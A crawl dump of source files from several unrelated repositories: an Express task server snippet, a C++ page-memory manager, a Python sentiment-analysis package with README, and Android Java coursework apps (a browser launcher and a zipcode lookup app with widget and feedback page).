task=require('./models/task.js'); const userRouter=require('./routes/user'); const taskRouter=require('./routes/task'); app.use(express.json()); app.use(userRouter); app.use(taskRouter); const port=process.env.PORT; app.listen(port,function() { console.log('server has started'+port); });
0e9020c402900b1034c829830f107be61c1a0c78
[ "JavaScript" ]
7
JavaScript
urvashigupta7/taskapp
df91aebc6f25906feb9253cd652807336b943d4d
1793e8a4a8fee5f0ff98c4589731cf6e44030462
refs/heads/main
<repo_name>borrenych/PageMemoryManager<file_sep>/PageManager1/Func.h #pragma once int AllocMemory(int sz); void InitMemory(); void Dump(void); void FreeMemory(int handle); int WriteMemory(int handle, int Offset, int Size, char* Data); int changer(int nb); int ReadMemory(int handle, int Offset, int Size, char* Data);<file_sep>/PageManager1/Functions.cpp #include <iostream> #include <fstream> #include "Func.h" using namespace std; int H = 0; char Memory[10000]; struct Pg { int handle; //Идентификатор блока int numPage; // Логический номер страницы в блоке int number; //номер страницы от 1 до 29 int uses; //количество операция со страницей }; Pg Page[30] = { NULL }; void InitMemory() { ofstream Mem("Virtual Memory.txt"); for (int i = 0; i < 29; i++) { Page[i].number = i + 1; Page[i].handle = 0; Page[i].uses = 0; } Page[29].number = 0; //присваиваем последней странице нулевой number для "рокировок" Page[29].handle = 0; Page[29].uses = 0; } int AllocMemory(int sz) { int z = 0; int k = 0; //необходимое количество страниц int kp = 0;// для проверки количества необходимых страниц при выделении if (sz % 1000 == 0) k = sz / 1000; else k = sz / 1000 + 1; for (int i = 0; i < 30; i++) //подсчет пустых страниц для сравнения { if (kp == k) break; if (Page[i].handle == 0) kp++; } if (kp == k) //проверка пустых страниц { H++; for (int i = 0; i < 30; i++) //инициализация при выделении { if (k == 0) break; if (Page[i].handle == 0) { Page[i].uses = ++Page[i].uses; Page[i].handle = H; Page[i].numPage = ++z; k--; } } return H; } return 0; } void FreeMemory(int handle) { for (int i = 0; i < 30; i++) if (Page[i].handle == handle) { Page[i].uses = 0; Page[i].handle = 0; } } int WriteMemory(int handle, int Offset, int Size, char* Data) { int OfPage = 0; for (int i = 0; i < 30; i++) { OfPage = Offset / 1000 + 1; int offset = Offset % 1000; if ((Page[i].handle == handle) && (Page[i].numPage == OfPage)) { Page[i].uses = ++Page[i].uses; if (i < 10) { int start = i * 1000 + offset; for (int g = 0; g < Size; g++) { Memory[start + g] = Data[g]; } } else { int chg = changer(i); int start = chg * 1000; for (int g = 0; g < Size; g++) Memory[start + offset + g] = Data[g]; } } }return 0; } int changer(int nb) { int b = 0; int k = 0; int min = Page[0].uses; for (int i = 0; i <= 9; i++) //нахождение менее используемой страницы { if (Page[i].uses <= min) { min = Page[i].uses; b = i; } } int start = b * 1000; fstream Mem; Mem.open("Virtual Memory.txt", ios::out | ios::in); if (Mem.is_open()) { int startMem = 0; startMem = 19 * 1000; Page[29].handle = Page[b].handle; //присваиваем значения найденной страницы нулевой странице Page[29].uses = Page[b].uses; Page[29].number = Page[b].number; Page[29].numPage = Page[b].numPage; for (int t = 0; t < 1000; t++) //копируем данные из малоиспользуемой страницы в нулевую { Mem.seekp(startMem + t, ios::beg); Mem.put(Memory[start + t]); } startMem = (nb - 10) * 1000; for (int t = 0; t < 1000; t++) //читаем данные из нужной страницы в малоиспользуемую { Mem.seekg(startMem + t, ios::beg); Mem.get(Memory[start + t]); } //Page[b].number = Page[nb].number; //присваиваем менее используемой странице в оперативной памяти атрибуты выбранной страницы в виртуальной памяти Page[b].handle = Page[nb].handle; Page[b].uses = Page[nb].uses; Page[b].numPage = Page[nb].numPage; //Page[nb].number = Page[29].number; //присваиваем перенесенной странице из вирт. памяти атрибуты нулевой страницы Page[nb].handle = Page[29].handle; Page[nb].uses = Page[29].uses; Page[nb].numPage = Page[29].numPage; startMem = 19 * 1000; start = (nb - 10) * 1000; for (int t = 0; t < 1000; t++) //копируем данные из нулевой страницы в перенесенную в вирт память { Mem.seekp(start + t, ios::beg); Mem.put(Memory[startMem + t]); } Page[29].handle = 0; //присваиваем значения найденной страницы нулевой странице Page[29].uses = 0; Page[29].number = 0; Page[29].numPage = 0; } return b; } int ReadMemory(int handle, int Offset, int Size, char* Data) { for (int i = 0; i < 30; i++) { if ((Page[i].handle == handle) && (Page[i].numPage == 1)) { if (i < 10) { int start = i * 1000 + Offset; for (int g = 0; g < Size; g++) { cout << Memory[start + g]; } } else { int chg = changer(i); int start = chg * 1000; for (int g = 0; g < Size; g++) cout << Memory[start + Offset + g]; }Page[i].uses++; } }return 0; } void Dump(void) { int flag = 0; for (int i = 1; i < H + 1; i++) { for (int j = 0; j < 30; j++) { if (Page[j].handle == i) { cout << "H: "; cout << Page[j].handle; flag = 1; break; } } if (flag == 1) { cout << " P: "; int sernum = 1; for (int j = 0; j < 30; j++) { if (Page[j].handle == i && Page[j].numPage == sernum) { cout << Page[j].number; if (j > 9) cout << "* "; else cout << " "; sernum++; j = 0; } } cout << "S: "; sernum = 1; for (int j = 0; j < 9; j++) { if (Page[j].handle == i && Page[j].numPage == sernum) { int start = j * 1000; for (int t = 0; t < 10; t++) { printf("%d", Memory[start + t]); } } } } cout << "\n"; } /*for (int x = 0; x < 30; x++) { std::cout << "\nBlock"; std::cout << "\nH: "; std::cout << Page[x].handle; std::cout << " P: "; std::cout << Page[x].number; std::cout << " LogPage: "; std::cout << Page[x].numPage; std::cout << " Uses: "; std::cout << Page[x].uses; }*/ } <file_sep>/PageManager1/PageManager1.cpp // PageManager.cpp : Этот файл содержит функцию "main". Здесь начинается и заканчивается выполнение программы. // #include <iostream> #include "Func.h"; #include <fstream> using namespace std; int main() { InitMemory(); int trapa1 = AllocMemory(3500); int trapa2 = AllocMemory(10000); FreeMemory(trapa1); int trapa3 = AllocMemory(5000); int trapa4 = AllocMemory(5000); int trapa5 = AllocMemory(10000); Dump(); char a[3] = { 1,2,2 }; char b[5] = { 3,0,11,3,4 }; WriteMemory(trapa2, 9005, 3, a); WriteMemory(trapa3, 0, 5, b); WriteMemory(trapa4, 0, 3, a); //WriteMemory(trapa5, 4, 3, a); Dump(); }
ce7f40c4a5642dfab97012356832099add440207
[ "C", "C++" ]
3
C
borrenych/PageMemoryManager
b1eb30cc883093d2f4a8d13efae94b6d743c58ba
a66c3fd4bd7adf3e82ae2b71a1a65a295c4cd794
refs/heads/master
<file_sep>from distutils.core import setup setup( name = 'simplimental', packages = ['simplimental'], version = '0.0.1', description = 'Simple sentiment analysis on text', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/timmycarbone/simplimental', download_url = 'https://github.com/timmycarbone/simplimental/tarball/0.1', keywords = ['sentiment', 'analysis', 'text'], classifiers = [], )<file_sep># simplimental Simple sentiment analysis processor for texts based on the [AFINN-111](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6010) word list Inspired by the Node.js version : [Sentimental](https://github.com/thinkroth/Sentimental) ## Installation ``` pip install simplimental ``` ## Usage ```python import simplimental simplimental.Simplimental("This is not great").analyze() ``` ## License The MIT License Copyright (c) 2015 <NAME> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. <file_sep>#!/usr/bin/env python from simplimental import * <file_sep>import re import json __all__ = ["Simplimental"] class Simplimental: def __init__(self, text="This is not a bad idea"): self.text = text with open('simplimental/data/afinn.json') as data_file: self.dictionary = json.load(data_file) no_punctunation = re.sub(r"[^a-zA-Z ]+", " ", self.text) self.tokens = no_punctunation.lower().split(" ") for t in self.tokens: if len(t) < 3 and t not in ["no"]: self.tokens.remove(t) def negativity(self): hits = 0 words = [] for i in range(len(self.tokens)): word = self.tokens[i] score = self.dictionary.get(word, 0) if i > 0 and self.tokens[i-1] in ["no", "not"]: word = "not_" + word score = -score if score > 0 else 0 if score < 0: hits -= score words.append(word) return { "score": hits, "comparative": float(hits) / len(self.tokens), "words": words } def positivity(self): hits = 0 words = [] for i in range(len(self.tokens)): word = self.tokens[i] score = self.dictionary.get(word, 0) if i > 0 and self.tokens[i-1] in ["no", "not"]: word = "not_" + word score = -score if score < 0 else 0 if score > 0: hits += score words.append(word) return { "score": hits, "comparative": float(hits) / len(self.tokens), "words": words } def analyze(self): negativity = self.negativity() positivity = self.positivity() return { "score": positivity["score"] - negativity["score"], "comparative": positivity["comparative"] - negativity["comparative"], }
e0c9833dd082ee9f5fd0e365894c2774defa683d
[ "Markdown", "Python" ]
4
Python
TimmyCarbone/simplimental
e46a0e63ce33e36b1e4ca3a473ad15d0732614ed
740e7200b7c9a28771437185fb869a2cdf6f77a0
refs/heads/master
<file_sep>/* * project FireBrowser * * package com.cmozie.firebrowser * * name cameronmozie * * date Oct 31, 2013 */ package com.cmozie.firebrowser; import android.net.Uri; import android.os.Bundle; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.util.Log; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; // TODO: Auto-generated Javadoc /** * The Class MainActivity. */ public class MainActivity extends Activity { public String webSite; public EditText urlString; Context context; public StringBuilder text; /* (non-Javadoc) * @see android.app.Activity#onCreate(android.os.Bundle) */ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button search = (Button) findViewById(R.id.searchButn); urlString = (EditText) findViewById(R.id.editText1); search.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub try { webSite = urlString.getText().toString(); Log.i("website", webSite); text = new StringBuilder(webSite); text.insert(0, "http://"); Log.i("test", text.toString()); if (urlString.length() > 1) { Intent theIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(text.toString())); startActivity(theIntent); } } catch (Exception e) { // TODO: handle exception e.printStackTrace(); } } }); } /* (non-Javadoc) * @see android.app.Activity#onCreateOptionsMenu(android.view.Menu) */ @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } <file_sep>MDF3_Mozie ========== <file_sep>/* * project RegionZip * * package com.cmozie.regionzip * * name cameronmozie * * date Nov 20, 2013 */ package com.cmozie.regionzip; import android.app.ActionBar; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.widget.TextView; // TODO: Auto-generated Javadoc /** * The Class About. */ public class AboutActivity extends Activity { /* (non-Javadoc) * @see android.app.Activity#onCreate(android.os.Bundle) */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.about); TextView aboutInfo = (TextView) this.findViewById(R.id.aboutText); aboutInfo.setText("My names <NAME> and I am a student at Full Sail University. I currently reside in Landover MD, and am looking to graduate Fall 2014."); ActionBar actionBar = getActionBar(); actionBar.setDisplayHomeAsUpEnabled(true); } /* (non-Javadoc) * @see android.app.Activity#onOptionsItemSelected(android.view.MenuItem) */ @Override public boolean onOptionsItemSelected(MenuItem item){ switch (item.getItemId()) { //returns to main activity case android.R.id.home: Intent homeIntent = new Intent(this, MainActivity.class); homeIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); startActivity(homeIntent); break; case R.id.sendFeedback: Intent feedBackIntent = new Intent(this, FeedbackActivity.class); startActivity(feedBackIntent); break; default: break; } return super.onOptionsItemSelected(item); } /* (non-Javadoc) * @see android.app.Activity#onCreateOptionsMenu(android.view.Menu) */ @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } <file_sep>/* * project RegionZip * * package com.cmozie.classes * * name cameronmozie * * date Nov 20, 2013 */ package com.cmozie.classes; import com.cmozie.regionzip.R; import android.appwidget.AppWidgetManager; import android.appwidget.AppWidgetProvider; import android.content.Context; import android.content.Intent; import android.widget.RemoteViews; import android.widget.Toast; // TODO: Auto-generated Javadoc /** * The Class WidgetProvider. */ public class WidgetProvider extends AppWidgetProvider { public String returnedZip = "\n was the last \nselected Region"; /* (non-Javadoc) * @see android.appwidget.AppWidgetProvider#onReceive(android.content.Context, android.content.Intent) */ @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub super.onReceive(context, intent); } Context context; /* (non-Javadoc) * @see android.appwidget.AppWidgetProvider#onDeleted(android.content.Context, int[]) */ @Override public void onDeleted(Context context, int[] appWidgetIds) { // TODO Auto-generated method stub super.onDeleted(context, appWidgetIds); Toast.makeText(context, "Widget Removed", Toast.LENGTH_SHORT).show(); } /* (non-Javadoc) * @see android.appwidget.AppWidgetProvider#onUpdate(android.content.Context, android.appwidget.AppWidgetManager, int[]) */ @Override public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) { // TODO Auto-generated method stub super.onUpdate(context, appWidgetManager, appWidgetIds); RemoteViews theView = new RemoteViews(context.getPackageName(),R.layout.w_layout); theView.setTextViewText(R.id.updateInfo, WidgetSettings.zipp); appWidgetManager.updateAppWidget(appWidgetIds, theView); } } <file_sep>/* * project RegionZip * * package com.cmozie.regionzip * * name cameronmozie * * date Nov 20, 2013 */ package com.cmozie.regionzip; import android.annotation.SuppressLint; import android.app.ActionBar; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.webkit.JavascriptInterface; import android.webkit.WebSettings; import android.webkit.WebView; import android.widget.Toast; // TODO: Auto-generated Javadoc /** * The Class FeedbackActivity. */ @SuppressLint("SetJavaScriptEnabled") public class FeedbackActivity extends Activity { public static WebView theWebView; //javascript interface /** * The Class JavaScriptInterface. */ public class JavaScriptInterface { Context context; /** * Instantiates a new java script interface. * * @param c the c */ JavaScriptInterface(Context c) { context = c; Log.i("Test", "Test1"); } /** * Gets the jS text. * * @param textValue the text value * @param rateValue the rate value * @return the jS text */ @JavascriptInterface public void getJSText(String textValue, String rateValue) { //toast for sending feedback Toast.makeText(context, "Thanks for your Feedback!", Toast.LENGTH_SHORT).show(); //email intent Intent emailIntent = new Intent(Intent.ACTION_SEND); emailIntent.setType("message/rfc822"); emailIntent.putExtra(Intent.EXTRA_EMAIL, new String[] { "<EMAIL>" }); emailIntent.putExtra(Intent.EXTRA_SUBJECT, "RegionZip Feedback"); emailIntent.putExtra(Intent.EXTRA_TEXT, "You rated the app: " + rateValue + " \nComments:" + textValue); startActivity(Intent.createChooser(emailIntent, "Send Feedback Via Email:")); //sets image on screen theWebView.loadUrl("file:///android_asset/good.png"); } } /* (non-Javadoc) * @see android.app.Activity#onCreate(android.os.Bundle) */ @Override protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); setContentView(R.layout.feedback); //sets the webview WebView theWebView = (WebView) findViewById(R.id.webView); theWebView.loadUrl("file:///android_asset/feedback2.html"); //adds the javascript interface to the webview for access to between html/webview via javascript theWebView.addJavascriptInterface(new JavaScriptInterface(this), "Android"); WebSettings webSettings = theWebView.getSettings(); //enables javascript webSettings.setJavaScriptEnabled(true); //enables actionbar ActionBar actionBar = getActionBar(); actionBar.setDisplayHomeAsUpEnabled(true); } /* (non-Javadoc) * @see android.app.Activity#onOptionsItemSelected(android.view.MenuItem) */ @Override public boolean onOptionsItemSelected(MenuItem item){ switch (item.getItemId()) { //transitions to each page and back via click of item in action bar case android.R.id.home: Intent homeIntent = new Intent(this, MainActivity.class); homeIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); startActivity(homeIntent); break; case R.id.sendFeedback: Intent feedBackIntent = new Intent(this, FeedbackActivity.class); startActivity(feedBackIntent); break; case R.id.aboutPage: Intent aboutIntent = new Intent(this, AboutActivity.class); startActivity(aboutIntent); break; default: break; } return super.onOptionsItemSelected(item); } /* (non-Javadoc) * @see android.app.Activity#onCreateOptionsMenu(android.view.Menu) */ @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } <file_sep>/* * project RegionZip * * package com.cmozie.regionzip * * name cameronmozie * * date Nov 20, 2013 */ package com.cmozie.regionzip; import java.util.ArrayList; import java.util.HashMap; import org.json.JSONArray; import org.json.JSONObject; import android.annotation.SuppressLint; import android.app.Activity; import android.app.AlertDialog; import android.app.SearchManager; import android.app.SearchableInfo; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.os.Messenger; import android.support.v4.view.MenuItemCompat; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.View.OnClickListener; import android.view.inputmethod.InputMethodManager; import android.widget.AdapterView; import android.widget.AdapterView.OnItemSelectedListener; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.EditText; import android.widget.LinearLayout; import android.widget.ListView; import android.widget.SearchView; import android.widget.SimpleAdapter; import android.widget.Spinner; import android.widget.Toast; import android.widget.TextView; import com.cmozie.Libz.FileStorage; import com.cmozie.classes.*; import webConnections.*; // TODO: Auto-generated Javadoc /** * The Class MainActivity. */ @SuppressLint("HandlerLeak") public class MainActivity extends Activity implements SearchView.OnQueryTextListener { //--public statics public static Context _context; public static Button searchButton; static Spinner spinner = null; public int selected; //public int selected; public static boolean IsButtonPress; //layout TextView _popularZips; Button _pop; public static Button getRegion; EditText contentQuery; Uri searchALL; Uri searchFilter; public ArrayList<HashMap<String, String>> mylist; //bool Boolean _connected = false; public static SimpleAdapter adapter; public static Cursor cursor; public static SearchView sv; public static SearchManager sm; public static LinearLayout ll; //strings String _zipcode; String _areaCode; String _region; String _county; String _timezone; String _latitude; String _longitude; String _zipcode2; String _area_code2; String _region2; String temp; public int position; ListView listview; public static String zipcode; public HashMap<String, String> displayMap; /* (non-Javadoc) * @see android.app.Activity#onCreate(android.os.Bundle) */ @SuppressWarnings("unchecked") @Override protected void onCreate(final Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.form); ll = (LinearLayout)findViewById(R.id.layout); listview = (ListView) this.findViewById(R.id.list); listview.setTextFilterEnabled(true); View listHeader = this.getLayoutInflater().inflate(R.layout.list_header, null); listview.addHeaderView(listHeader); //setting contentView to my inflated view/form position = Spinner.INVALID_POSITION; _context = this; //webConnection jar file usage _connected = WebStuff.getConnectionStatus(_context); if (_connected) { Log.i("Network Connection", WebStuff.getConnectionType(_context)); //array adapter for my cities where i create new objects for each location ArrayAdapter<Cities> listAdapter = new ArrayAdapter<Cities>(_context, android.R.layout.simple_spinner_item, new Cities[]{ new Cities("", "New York", "NY"), new Cities("", "Washington", "DC"), new Cities("", "Miami", "FL"), new Cities("", "Chicago", "IL"), new Cities("", "San Francisco", "CA") }); listAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); spinner = (Spinner) findViewById(R.id.favList); spinner.setAdapter(listAdapter); getRegion = (Button) findViewById(R.id.getHistory); IsButtonPress = false; //popular zipcodes onclick _pop = (Button) findViewById(R.id.popularZipcodes); if (savedInstanceState != null) { mylist = (ArrayList<HashMap<String, String>>) savedInstanceState.getSerializable("mylist"); if (mylist != null) { adapter = new SimpleAdapter(_context, mylist, R.layout.list_row, new String[]{ "zipCode","areaCode","region"}, new int[]{R.id.row1, R.id.row2,R.id.row3}); listview.setAdapter(adapter); rowSelect(); } } // TODO Auto-generated method stub _pop.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub spinner.setVisibility(View.VISIBLE); spinner.setOnItemSelectedListener(new OnItemSelectedListener() { public void onItemSelected(AdapterView<?> parent,View v,int pos, long id){ Log.i("HIT","THE SPINNER"); try{ JSONObject json = new JSONObject(FileStorage.readStringFile(_context, "temp", false)); JSONArray ja = json.getJSONArray("zips"); for (int i = 0; i < ja.length(); i++) { //sets a json object to access object values inside array JSONObject one = ja.getJSONObject(0); JSONObject two = ja.getJSONObject(0); _zipcode = one.getString("zip_code"); _areaCode = one.getString("area_code"); _region = one.getString("region"); _zipcode2 = two.getString("zip_code"); _area_code2 = two.getString("area_code"); _region2 = two.getString("region"); //setting of my switch case to work behind the scenes which switch at position of the cells of the spinner and query the api based on selected postion position = spinner.getSelectedItemPosition(); switch (position) { case 0://new york zipcode = "content://" + ZipcodeContentProvider.AUTHORITY + "/zipcodes/NY"; //Log.i("Main","uri = "+zipcode); searchFilter = Uri.parse(zipcode); Cursor NY = getContentResolver().query(searchFilter, null, null, null, null); //pulling in data from Local storage here display(NY); break; case 1://washington zipcode = "content://" + ZipcodeContentProvider.AUTHORITY + "/zipcodes/WA"; searchFilter = Uri.parse(zipcode); Log.i("MAIN", "uri="+zipcode); cursor = getContentResolver().query(searchFilter, null, null, null, null); if (cursor != null ) { display(cursor); } break; case 2: // Miami zipcode = "content://" + ZipcodeContentProvider.AUTHORITY + "/zipcodes/MI"; searchFilter = Uri.parse(zipcode); cursor = getContentResolver().query(searchFilter, null, null, null, null); if (cursor != null ) { display(cursor); } Log.i("MAIN", "uri="+zipcode); //Toast.makeText(_context, "Miami!", Toast.LENGTH_SHORT).show(); break; case 3: //Chicago zipcode = "content://" + ZipcodeContentProvider.AUTHORITY + "/zipcodes/IL"; searchFilter = Uri.parse(zipcode); cursor = getContentResolver().query(searchFilter, null, null, null, null); if (cursor != null ) { display(cursor); } Log.i("MAIN", "uri="+zipcode); //Toast.makeText(_context, "Chicago!", Toast.LENGTH_SHORT).show(); break; case 4: //San Francisco zipcode = "content://" + ZipcodeContentProvider.AUTHORITY + "/zipcodes/SF"; searchFilter = Uri.parse(zipcode); cursor = getContentResolver().query(searchFilter, null, null, null, null); if (cursor != null ) { display(cursor); } Log.i("MAIN", "uri="+zipcode); //Toast.makeText(_context, "San Fran!", Toast.LENGTH_SHORT).show(); break; default: Toast.makeText(_context, "default hit!", Toast.LENGTH_SHORT).show(); break; } } } catch (Exception e) { _connected = WebStuff.getConnectionStatus(_context); if (_connected) { Log.i("Network Connection", WebStuff.getConnectionType(_context)); //if no connection }else if(!_connected) { //alert for connection AlertDialog.Builder alert = new AlertDialog.Builder(_context); alert.setTitle("Connection Required!"); alert.setMessage("You need to connect to an internet service!"); alert.setCancelable(false); alert.setPositiveButton("Alright", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); alert.show(); } Log.e("Buffer Error", "Error converting result " + e.toString()); } //my handler Handler zipcodeHandler = new Handler() { @Override public void handleMessage(Message msg) { // TODO Auto-generated method stub Log.i("HIT","HANDLER"); //string selected is my query reply from my ZipcodeService String selected = msg.obj.toString(); Log.i("hit", selected); if (msg.arg1 == RESULT_OK && msg.obj != null) Log.i("Serv.Response", msg.obj.toString()); { searchALL = Uri.parse("content://" + ZipcodeContentProvider.AUTHORITY + "/zipcodes/" + position); Cursor cursor = getContentResolver().query(searchALL, null, null, null, null); //pulling in data from Local storage here display(cursor); Log.i("CONTENTPROVIDERURI",searchALL.toString()); Log.i("CURSOR", cursor.toString()); } } }; //my intent services Messenger zipcodeMessenger = new Messenger(zipcodeHandler); Intent startZipcodeIntent = new Intent(_context, ZipcodeService.class); startZipcodeIntent.putExtra(ZipcodeService.MESSENGER_KEY, zipcodeMessenger); startZipcodeIntent.putExtra(ZipcodeService.enteredZipcode,zipcode); startService(startZipcodeIntent); } public void onNothingSelected(AdapterView<?>parent){ Log.i("Aborted", "None Selected"); } }); //sets button to non clickable once clicked once _pop.setClickable(false); _pop.setVisibility(View.GONE); } }); getRegion.setOnClickListener(new OnClickListener() { //combine all the zipcodes and place call the query on all of them? @Override public void onClick(View v) { // TODO Auto-generated method stub _connected = WebStuff.getConnectionStatus(_context); if (_connected) { Log.i("Network Connection", WebStuff.getConnectionType(_context)); //if no connection }else if(!_connected) { //alert for connection AlertDialog.Builder alert = new AlertDialog.Builder(_context); alert.setTitle("Connection Required!"); alert.setMessage("You need to connect to an internet service!"); alert.setCancelable(false); alert.setPositiveButton("Alright", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); alert.show(); } Handler zipcodeHandler = new Handler() { @Override public void handleMessage(Message msg) { // TODO Auto-generated method stub Log.i("HIT","HANDLER"); searchALL = Uri.parse("content://com.cmozie.classes.zipcodecontentprovider/zipcodes/"); //ArrayList<HashMap<String, String>> mylist = new ArrayList<HashMap<String,String>>(); Cursor cursor = getContentResolver().query(searchALL, null, null, null, null); //pulling in data from Local storage here display(cursor); Log.i("CURSOR",cursor.toString()); } }; //my intent services Messenger zipcodeMessenger = new Messenger(zipcodeHandler); Intent startZipcodeIntent = new Intent(_context, ZipcodeService.class); startZipcodeIntent.putExtra(ZipcodeService.MESSENGER_KEY, zipcodeMessenger); startZipcodeIntent.putExtra(ZipcodeService.enteredZipcode,searchALL); startService(startZipcodeIntent); } }); //if no connection }else if(!_connected) { //alert for connection AlertDialog.Builder alert = new AlertDialog.Builder(_context); alert.setTitle("Connection Required!"); alert.setMessage("You need to connect to an internet service!"); alert.setCancelable(false); alert.setPositiveButton("Alright", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); alert.show(); } } /** * Display. * * @param cursor the cursor */ public void display(Cursor cursor){ mylist = new ArrayList<HashMap<String,String>>(); try{ JSONObject json = new JSONObject(FileStorage.readStringFile(_context, "temp", false)); JSONArray ja = json.getJSONArray("zips"); for (int i = 0; i < ja.length(); i++) { //sets a json object to access object values inside array JSONObject one = ja.getJSONObject(i); JSONObject two = ja.getJSONObject(0); _zipcode = one.getString("zip_code"); _areaCode = one.getString("area_code"); _region = one.getString("region"); _county = one.getString("county"); _latitude = one.getString("latitude"); _longitude = one.getString("longitude"); _timezone = one.getString("time_zone"); _zipcode2 = two.getString("zip_code"); _area_code2 = two.getString("area_code"); _region2 = two.getString("region"); } } catch (Exception e) { Log.e("Buffer Error", "Error converting result " + e.toString()); } //cursor cursor.moveToFirst(); if (cursor.moveToFirst()) { for (int i = 0; i < cursor.getCount(); i++) { ; displayMap = new HashMap<String, String>(); if (cursor.getString(0).contentEquals("95105")) { Log.i("CURSOR", "match"); } displayMap.put("zipCode", cursor.getString(1)); displayMap.put("areaCode", cursor.getString(2)); displayMap.put("region", cursor.getString(3)); //displayMap.put("county", cursor.getString(4)); cursor.moveToNext(); mylist.add(displayMap); Log.i("mylist", mylist.toString()); } } adapter = new SimpleAdapter(_context, mylist, R.layout.list_row, new String[]{ "zipCode","areaCode","region","county"}, new int[]{R.id.row1, R.id.row2,R.id.row3}); listview.setAdapter(adapter); //calls my select row functoin rowSelect(); } /** * Row select. */ private void rowSelect (){ listview.setOnItemClickListener(new AdapterView.OnItemClickListener() { @SuppressWarnings("unchecked") @Override public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) { Log.i("Row","Selected ="+ arg2 + "clicked"); //hashmap for listview cells at position HashMap<String, String> intentMap = (HashMap<String, String>) listview.getItemAtPosition(arg2); //if any of my cells are selected then i grab the zipcode areacode and region for those cells and //store it inside if (arg2 == 1 || arg2 == 2 || arg2 ==3 || arg2 == 4 || arg2 == 5|| arg2 == 6||arg2 == 7 || arg2 == 8|| arg2 == 9|| arg2 == 10|| arg2 == 11|| arg2 == 12|| arg2 == 13 || arg2 == 14|| arg2 == 15|| arg2 == 16|| arg2 == 17|| arg2 == 18|| arg2 == 19|| arg2 == 20) { //gets the zipcode from intentmap and sets it. zipcode = intentMap.get("zipCode"); //calls my gps method with zipcode showGPS(zipcode); } } }); }; /** * Show gps. * * @param zipcode the zipcode */ public void showGPS(String zipcode) { Intent intent = new Intent(Intent.ACTION_VIEW, //updated map action. Removed gps and implemented map to show location via passed zipcode from intent Uri.parse("http://maps.google.com/maps?q="+ zipcode +"&zoom=14&size=512x512&maptype=roadmap&sensor=false")); //starts the intent activity startActivity(intent); } /* (non-Javadoc) * @see android.app.Activity#onActivityResult(int, int, android.content.Intent) */ @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (resultCode == RESULT_OK && requestCode == 0) { if (data.hasExtra("zip_code")) { Toast.makeText(getApplicationContext(), "MAIN ACTIVITY - Zipp Passed = " + data.getExtras().getString("zip_code"), Toast.LENGTH_SHORT).show(); } } } /* (non-Javadoc) * @see android.app.Activity#onSaveInstanceState(android.os.Bundle) */ @Override public void onSaveInstanceState(Bundle outState) { outState.putString("zip_code",_zipcode); outState.putString("area_code", _areaCode); outState.putString("region", _region); outState.putInt("spinner", spinner.getSelectedItemPosition()); outState.putSerializable("mylist", mylist); outState.putBoolean("button", _pop.isSelected()); super.onSaveInstanceState(outState); } /* (non-Javadoc) * @see android.app.Activity#onRestoreInstanceState(android.os.Bundle) */ @SuppressWarnings("unchecked") @Override public void onRestoreInstanceState(Bundle savedInstanceState) { // Restore UI state from the savedInstanceState. // This bundle has also been passed to onCreate. _zipcode = savedInstanceState.getString("_zip_code"); mylist = (ArrayList<HashMap<String, String>>) savedInstanceState.getSerializable("mylist"); Log.i("TEST", mylist + "was saved"); Log.i("TEST", _areaCode + "was saved"); Log.i("TEST", _region + "was saved"); 